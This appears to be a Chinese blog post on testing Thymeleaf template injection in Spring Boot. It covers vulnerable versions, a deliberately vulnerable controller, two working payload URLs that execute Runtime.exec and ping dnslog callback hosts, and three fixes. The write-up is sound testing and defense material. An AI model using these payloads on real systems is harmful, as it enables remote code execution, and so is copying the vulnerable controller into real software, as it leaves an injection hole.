• spring boot Thymeleaf 模板注入 测试实践


    Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎,Thymeleaf是spring boot的推荐引擎。

    环境配置

    实际测试发现跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。

    spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
    spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
    spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11

    1.idea创建一个spring Initializer项目

    pom.xml中引入有漏洞的版本

     <parent>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-parent</artifactId>
            <version>2.2.0.RELEASE</version>
            <relativePath/> <!-- lookup parent from repository -->
        </parent>
    

      

    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
    <version>2.1.5.RELEASE</version>
    </dependency>
    <dependency>
    <groupId>net.sourceforge.nekohtml</groupId>
    <artifactId>nekohtml</artifactId>
    <version>1.9.22</version>
    </dependency>

      

    创建TestController

    @Controller
    public class TestController {
        @GetMapping("/path")
        public String testPath(@RequestParam String lang){
            return lang;
    
        }
    
        @GetMapping("/doc/{document}")
        public void getDocument(@PathVariable String document) {
            System.out.println("Retrieving " + document);
        }
    
    }
    

      

    测试请求:

    第一种:

    http://127.0.0.1:8080/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22ping%20wwwss.ks4yd3.dnslog.cn%22).getInputStream()).next()%7d__::.x
    

      

    第二种:

    http://127.0.0.1:8080/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22ping%20www.4whpgo.dnslog.cn%22)%7D__::.x
    

      

    修复方案:

    1. 设置ResponseBody注解

    如果设置ResponseBody,则不再调用模板解析

    如:

     @GetMapping("/path")
        @ResponseBody
        public String testPath(@RequestParam String lang){
            return lang;
    
        }
    

      

    2. 设置redirect重定向

    @GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
        return "redirect:" + url;
    

      

    根据spring boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值

    3. response

    @GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document); //FP
    }
    

      

    由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

     @GetMapping("/doc/{document}")
        public void getDocument(@PathVariable String document, HttpServletResponse response) {
            System.out.println("Retrieving " + document);
        }
    

      

    思考:

    知道漏洞paylaod,那么这种漏洞如何挖掘,如何自动化的扫描?

    1.可以使用自动化参数污染成相关payload

    2.对路径进行拆分,然后污染每个路劲参数

  • 相关阅读:
    数据类型
    springboot中get post put delete 请求
    图解SQL的inner join、left join、right join、full outer join、union、union all的区别
    【转】MyBatis之级联——一对一关系
    【转】浏览器同源政策及其规避方法(2)
    【转】浏览器同源政策及其规避方法(1)
    Spring Boot配置文件详解
    【BUG】Spring Mvc使用Jackson进行json转对象时,遇到的字符串转日期的异常处理(JSON parse error: Can not deserialize value of type java.util.Date from String[])
    【转】SpringBoot Mybatis 读取配置文件
    MySQL
  • 原文地址:https://www.cnblogs.com/fczlm/p/14385319.html
Copyright © 2020-2023  润新知